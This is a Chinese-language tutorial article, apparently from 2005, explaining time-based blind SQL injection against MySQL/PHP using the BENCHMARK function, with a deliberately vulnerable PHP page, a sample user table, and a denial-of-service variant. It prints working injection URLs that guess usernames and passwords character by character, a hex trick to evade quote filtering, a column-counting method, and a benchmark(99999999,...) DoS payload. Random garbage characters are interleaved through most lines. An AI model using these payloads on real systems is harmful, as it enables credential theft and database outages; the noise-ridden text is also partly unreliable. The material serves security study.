MYSQL中BENCHMARK函数的利用 2 X' A' ^2 E# A) g
本文作者:SuperHei
$ `; Q3 v" b3 m( f文章性质:原创
6 V" w& L8 b m8 I! L: l( f- l+ f发布日期:2005-01-02
5 ]2 @* A+ j6 b! j" O8 a! a完成日期:2004-07-09
3 A5 S8 i$ f& y! q% L第一部
' X! T- u9 C4 _5 y2 i3 h% X
6 A* I: W% B- f1 }" ^* b利用时间推延进行注射---BENCHMARK函数在注射中的利用 $ R% v# e/ S2 [7 M: R0 }, }0 O2 @
0 E! ?4 Z/ |! x一.前言/思路
; ?* ]6 y! Q9 S. [3 G, @+ h8 ?* w1 z3 V3 }2 z: h, g
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。/ a/ n$ ?1 G* t) b# V3 m0 y, @
/ g9 Q1 L; W l. `" d6 i8 H
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。. L% U# y: W. P4 {* B9 ^# o, W
4 d. m- D( [- h: Q, R
二.关于BENCHMARK函数
4 p) F. F; |: Y( b0 `) A9 c: Q. i: k$ i5 |$ \4 p8 l B$ L! Z
在MySQL参考手册里可以看到如下描叙: - u" n4 g$ v5 K! h+ U8 k
" H; _: z6 _: j7 X4 C. V5 e
/ \7 i L @" b# r--------------------------------------------------------------------------------: i# E+ j" R/ _3 \
% c! o0 H& ?) v: @& |6 iBENCHMARK(count,expr)
4 N9 Y5 l, G$ E" lBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 5 \0 { p- o% R0 K
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
9 U6 Q1 c2 q: t/ x3 S/ q+----------------------------------------------+
# L* q; m& ?9 n7 a% s/ Q| BENCHMARK(1000000,encode("hello","goodbye")) |
7 S9 b( V/ |: R, F6 _* [% j+----------------------------------------------+ 5 [# y) j7 C( C# }; ]2 W
| 0 | 8 Z9 `9 m/ O. Y1 _
+----------------------------------------------+
" U# N. b3 D: K1 row in set (4.74 sec)
! {& e% g6 a/ o
+ H. r- T# j3 K" K" E8 x报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
) X" a! G- H, q, G- E. f: J* t& ]: k9 ~
* x0 B$ v$ d( n--------------------------------------------------------------------------------
2 w; A8 j9 B/ g* D9 \8 e
- S, q3 e) d" f8 t* l) h 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
0 q3 r0 l& ^9 i3 x& U0 _
) l) X$ i" h' K* ]mysql> select md5( 'test' ); 5 j, ~2 j8 _$ v+ ~4 w, Y
+----------------------------------+
% J, z- S0 E* {! @| md5( 'test' ) | * c# R% T" `. |# \ F6 F3 s' i3 y6 {
+----------------------------------+
7 u, X# L C# g0 x; N( u; R3 c| 098f6bcd4621d373cade4e832627b4f6 |
! P5 a% x7 D; v0 y6 b$ m+----------------------------------+ . R2 O- Z5 \ @; A! I
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 1 B! Q8 z \; o5 S* I4 _+ I
- @2 ~$ H Z" Z1 Q; z; T! M7 z, nmysql> select benchmark( 500000, md5( 'test' ) ); 9 k, {1 S( @7 t5 A* Q
+------------------------------------+ % }# D2 y/ k2 v( G
| benchmark( 500000, md5( 'test' ) ) |
5 M3 R/ ^! H) ^. h8 i& I1 p( x+------------------------------------+
* m% s& t) t5 f! c. F# E| 0 |
& Q+ j/ ]1 a( Q5 I" T+------------------------------------+
^4 F# P8 N9 `% I- ^8 A$ [7 z1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
& Z" W) a* ~/ V- j
W2 q( q/ |% @8 q* T1 n1 ?7 n M7 i0 K- z" E
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 % S! D" B' f. R$ Z
! R! N- m2 }- m" B1 ~$ ^三.具体例子
s: W0 L: }: R) E& d
0 d$ Y" V- ?: ?* g3 I9 H* M 首先我们看个简单的php代码:/ M% Q1 {8 _+ q
; ~3 e: _/ h1 H% P$ Z8 K
< ?php 8 Z9 } L& F; c' G, U% j
$servername = "localhost"; , T/ |: N6 N$ v+ l/ V8 B% F3 A
$dbusername = "root";
' b4 ^. a7 z, e9 O7 s$dbpassword = ""; 5 H7 e2 l# O! p1 N+ N& w! x
$dbname = "injection"; , l$ V3 m/ K7 y) X K
& w5 M* r7 k+ }) X* X: x* K# Nmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); N q8 G" C+ z% v9 J
4 \3 q( {4 W8 K6 A+ b, S# M) o: L
$sql = "SELECT * FROM article WHERE articleid=$id"; 9 v3 |$ [2 k% x' j3 R7 ^% Q
$result = mysql_db_query($dbname,$sql); 1 [9 f- L/ a6 x$ [9 u
$row = mysql_fetch_array($result);
8 P& e2 Q3 x {- s* @4 F: f3 r) M; R# }% ^. G' f+ w
if (!$row)
1 m1 a. Q" [* y! k; ~{
7 m# [+ {- k) Y, z7 yexit;
* @9 s( K, s- V. D* Q7 N; u/ p} 1 e3 {1 ]& l$ F; ^: b
?>5 J+ y! _# F9 \1 Q5 H
9 @0 }8 P9 C% A; ^; s. W: T) Y, {; r' B. d9 p
数据库injection结构和内容如下:9 U( `7 h2 ?4 N
* z8 s/ T7 R5 [; T! w% b
# 数据库 : `injection` ' E& P2 [( D3 a2 p# ~- `
#
) B5 l% h& C' P4 B- M q! j* r: }# {9 u6 g' E- l7 K$ k T
# -------------------------------------------------------- 3 X' g' N5 `, K+ i! e" V; G
* u1 l [' K; y1 B* B#
% t8 i9 T/ w9 L% R' ~9 b# 表的结构 `article` , d& z. _7 z6 w! A& P8 D
#
, ] m i6 i4 R b3 J6 ~# T- V: ?
: v' y# i$ J0 O, h" ], \7 eCREATE TABLE `article` ( : O4 I8 L5 u# W
`articleid` int(11) NOT NULL auto_increment, , J" N& A. a/ ]6 r8 F0 h; t# k# W
`title` varchar(100) NOT NULL default '', * b" y0 R- E; c6 s- v+ K$ H
`content` text NOT NULL,
6 V+ W/ E, c" ]4 K; YPRIMARY KEY (`articleid`) / |; ^( o7 ] p' J1 d" ~$ ~9 y( H
) TYPE=MyISAM AUTO_INCREMENT=3 ; " J' b; q5 Z0 J7 ~
5 R T/ l& O' A
# % @' x! w& L2 Q2 g" |+ j* t. i' e
# 导出表中的数据 `article` 2 [, W# h, d4 F
#
2 f! [ ]- T9 M4 P1 j3 G6 N
) L% o% F! n/ p- jINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); + ?( P6 |5 g0 T
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); $ E. O8 t- e5 r5 L
7 `; `9 z% ]: w% X1 |0 {" X- L" f
# -------------------------------------------------------- 5 X4 Z3 F: {0 t) z3 g) p
4 k- I4 @" s& H* ^/ y4 A9 Q- Y
#
f! P \# A) q2 A* `% y: j" A3 U# 表的结构 `user`
& R9 |/ O$ W) E) C# : `& |* r$ A8 X+ e+ x- O
8 k" }: P. _1 ~$ hCREATE TABLE `user` (
2 ], @* e) i% }. X. |3 a/ @`userid` int(11) NOT NULL auto_increment,
5 p8 n! q! Q, R9 z/ f+ @/ |0 ``username` varchar(20) NOT NULL default '',
/ y. K+ ]0 Y! R3 a+ a6 s, k. J`password` varchar(20) NOT NULL default '', + f: |9 l' Y( G1 q% C! ^& K
PRIMARY KEY (`userid`)
! C6 e [+ {$ }) TYPE=MyISAM AUTO_INCREMENT=3 ; ; Z6 a1 h* d7 i! V
/ c8 K6 a' n# H2 ~
#
# T! f: u* D# ^6 m5 e, d% k3 V# 导出表中的数据 `user` 6 v+ \$ _+ N8 N/ U) J5 \3 g& S
#
" r& k/ g3 q, t1 R
: I# S0 j& _8 Q: D% ?INSERT INTO `user` VALUES (1, 'angel', 'mypass'); ! J, m& T: u" r2 n
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
$ |* A2 ?' o5 Q2 v ! v2 T, }9 w. v A
5 n- I: O- }8 w 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
* z9 k$ _0 N, U
, y2 q' J+ r7 Y. M! P/ k9 s5 @- Yid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
! V$ W3 W+ F1 x6 l0 D7 | 5 E( F6 p4 p1 d# ?/ m) U0 o6 W
" y2 |9 k. l& A$ O6 C1 g) M 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:- T c* h0 V5 N4 C k
. w! I o0 E ?9 D/ m9 F) }
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
! b/ x& [+ P6 ]) x
6 I- A2 b) `9 U% H5 a
6 C6 Q7 @* V6 w0 g! t% f 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 9 m/ y; R1 [- y0 ?! O1 _* q& J, O
2 u# Y2 k* k9 }* x- N: L
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
; _7 U$ @4 X+ e7 Y# u
& W! Y3 ]7 i, X' ]3 Z8 V第二部
4 f) y4 u: W5 A5 N/ o
! A* \1 t8 j3 Y6 l利用BENCHMARK函数进行ddos攻击
7 T. P% @! j. W& T
2 d% i' C X. V" \5 Y8 M 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:# e: h, V2 E0 m" M& j: S
* @( U4 ~- _- Q! Y$ }http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
9 c2 {# {3 p! ?$ }; h
6 j5 H: W' m2 L0 C
; \; R" {3 Q, o- ~- i小结
/ j( s% f; V2 M, l* p8 r5 S* e- z6 X6 G: }- [$ p" |
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。0 L% M( B: d* P- z4 H( ?1 V
4 y$ D8 X1 q! e4 b
; e! J5 `4 y# a( c( p |